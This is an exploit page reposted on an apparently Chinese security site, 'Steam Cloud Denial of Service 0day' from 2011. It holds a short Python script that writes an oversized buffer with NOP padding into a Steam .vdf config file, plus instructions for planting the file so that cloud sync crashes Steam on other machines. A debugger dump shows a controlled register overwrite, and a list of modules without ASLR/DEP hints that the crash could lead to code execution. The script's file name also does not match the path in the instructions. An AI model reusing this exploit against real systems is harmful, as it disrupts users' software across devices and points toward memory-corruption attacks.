首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Steam Software Denial of Service Vulnerability
来源:david.r.klein \x0agmail\x0acom 作者:david 发布时间:2011-05-17  

# Exploit Title: Steam Cloud Denial of Service 0day
# Date: 06042011
# Author: david.r.klein \x0agmail\x0acom
# Software Link: http://steampowered.com
# Version: Steam - Latest
# Tested on: Windows XP/2003, Windows7
# CVE : NA
#
# Notes: Copy file to C:\Program Files\Steam\userdata\<acctnums>\remote\sharedconfig.vdf
# Run Steam.exe and let the program crash. Steam will Sync your config to your account before he crash occurs
# Log in on a seperate computer with the same account and watch steam die.
#

test = "A" * 32776
test2= "BBBB" * 8
test2+="ZZZZ" * 8
test2+="\x90" * 32

f = open('serverbrowser_ui.vdf', 'w')
f.write(test + test2)
f.close()


# (78c.bf0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=02c915b0 ebx=000025d5 ecx=42424242 edx=01697b28 esi=02c915a8 edi=00eb0000
# eip=7c91240b esp=0012d188 ebp=0012d1a0 iopl=0         nv up ei ng nz na pe cy
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210287
# ntdll!RtlpInsertFreeBlock+0x10d:
# 7c91240b 8901            mov     dword ptr [ecx],eax  ds:0023:42424242=????????
#
# 0:000> d edx
# 01697b28  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
# 01697b38  5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
# 01697b48  5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
# 01697b58  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
# 01697b68  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
# 01697b78  00 fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................
#
#
# None of the below have aslr \ dep \ safeseh
# ModLoad: 3a000000 3a363000   C:\Program Files\Steam\SteamUI.dll
# ModLoad: 3f000000 3f0ad000   C:\Program Files\Steam\tier0_s.dll
# ModLoad: 3f600000 3f66e000   C:\Program Files\Steam\vstdlib_s.dll
# ModLoad: 10000000 100af000   C:\Program Files\Steam\crashhandler.dll
# ModLoad: 3fa00000 3fa32000   C:\Program Files\Steam\bin\FileSystem_Steam.dll
# ModLoad: 3f200000 3f2a2000   C:\Program Files\Steam\bin\vgui2.dll
# ModLoad: 04120000 04e06000   C:\Program Files\Steam\bin\libcef.dll


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·XtreamerPRO Media-player Multi
·CoolPlayer Portable 2.19.2 Buf
·Winamp 5.61 'in_midi' componen
·Novell Netware eDirectory DoS
·DreamBox DM500(+) Arbitrary Fi
·AVS Ringtone Maker 1.6.1 (.au)
·Chasys Media Player Buffer Ove
·AVS Ringtone Maker 1.6.1 - SEH
·Win32 VB6_vbaExceptHandler - S
·Vmware vSphere Management Assi
·Adobe Audition 3.0 (build 7283
·A-PDF Wav to MP3 Converter v 1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved